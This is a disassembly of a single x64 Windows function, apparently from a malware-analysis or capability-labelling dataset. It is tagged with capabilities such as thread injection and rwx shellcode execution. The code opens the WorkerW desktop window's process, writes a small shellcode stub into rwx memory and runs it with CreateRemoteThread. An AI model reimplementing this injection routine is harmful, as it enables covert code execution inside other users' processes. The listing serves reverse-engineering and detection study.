Function at 0x1400021c0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate process modules
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov r11, rsp
push rbp
push r14
lea rbp, [r11 - 0x218]
sub rsp, 0x308
mov rax, qword [0x1400e4f00]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
mov qword [r11 + 0x20], r12
lea rdx, str.WorkerW
lea rcx, [0x1400a1f98]
mov qword [r11 - 0x18], r15
call qword [sym.imp.USER32.dll_FindWindowA]
xor r12d, r12d
xor ecx, ecx
mov r14, rax
mov qword [rsp + 0x40], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rsp + 0x40]
xor edx, edx
lea r9, [0x1400a1440]
mov qword [rsp + 0x20], rax
lea r8d, [r12 + 1]
lea rcx, [0x1400a1450]
call qword [sym.imp.ole32.dll_CoCreateInstance]
cmp byte [0x1400f8433], r12b
mov r15d, eax
je 0x1400024b0
mov qword [rsp + 0x320], rbx
lea rdx, [0x1400f847c]
mov rcx, r14
mov qword [rsp + 0x330], rdi
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ebx, dword [0x1400f847c]
xor edx, edx
mov r8d, ebx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400024a0
mov qword [rsp + 0x328], rsi
lea ecx, [r12 + 0x18]
mov edx, ebx
mov esi, r12d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400022fe
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1400022fe
nop dword [rax + rax]
lea rdx, [0x1400a1f08]
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400022f9
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1400022d0
jmp 0x1400022fe
mov rsi, qword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x140002498
mov rdx, rsi
mov rcx, rdi
call fcn.140001e90
mov rcx, rax
test rax, rax
je 0x140002498
movaps xmm0, xmmword [0x1400a1f40]
xor edx, edx
movaps xmm1, xmmword [0x1400a1f50]
mov r9d, 0x3000
mov eax, dword [0x1400a1f88]
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmm0, xmmword [0x1400a1f60]
lea r8d, [rdx + 0x4f]
movaps xmmword [rbp + 0x1c0], xmm0
movsd xmm0, qword [0x1400a1f80]
movaps xmmword [rbp + 0x1b0], xmm1
movaps xmm1, xmmword [0x1400a1f70]
mov dword [rbp + 0x1e8], eax
movzx eax, word [0x1400a1f8c]
movaps xmmword [rbp + 0x1d0], xmm1
mov word [rbp + 0x1ec], ax
movzx eax, byte [0x1400a1f8e]
mov qword [rbp + 0x1cb], rcx
mov rcx, rdi
movsd qword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1ee], al
mov qword [rbp + 0x1ba], r14
mov dword [rbp + 0x1c5], 0x11
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x140002498
lea rax, [rbp + 0x190]
mov r9d, 0x4f
lea r8, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002498
mov qword [rsp + 0x30], r12
mov r9, rbx
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140002498
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, [rbp + 0x1a0]
xorps xmm0, xmm0
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0x1e8], eax
mov r9d, 0x4f
mov word [rbp + 0x1ec], ax
mov rdx, rbx
mov byte [rbp + 0x1ee], al
mov rcx, rdi
lea rax, [rbp + 0x190]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rsi, qword [rsp + 0x328]
mov rbx, qword [rsp + 0x320]
mov rdi, qword [rsp + 0x330]
mov r12, qword [rsp + 0x338]
test r15d, r15d
mov r15, qword [rsp + 0x300]
jne 0x1400024de
mov rcx, qword [rsp + 0x40]
mov rdx, r14
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140082820
add rsp, 0x308
pop r14
pop rbp
ret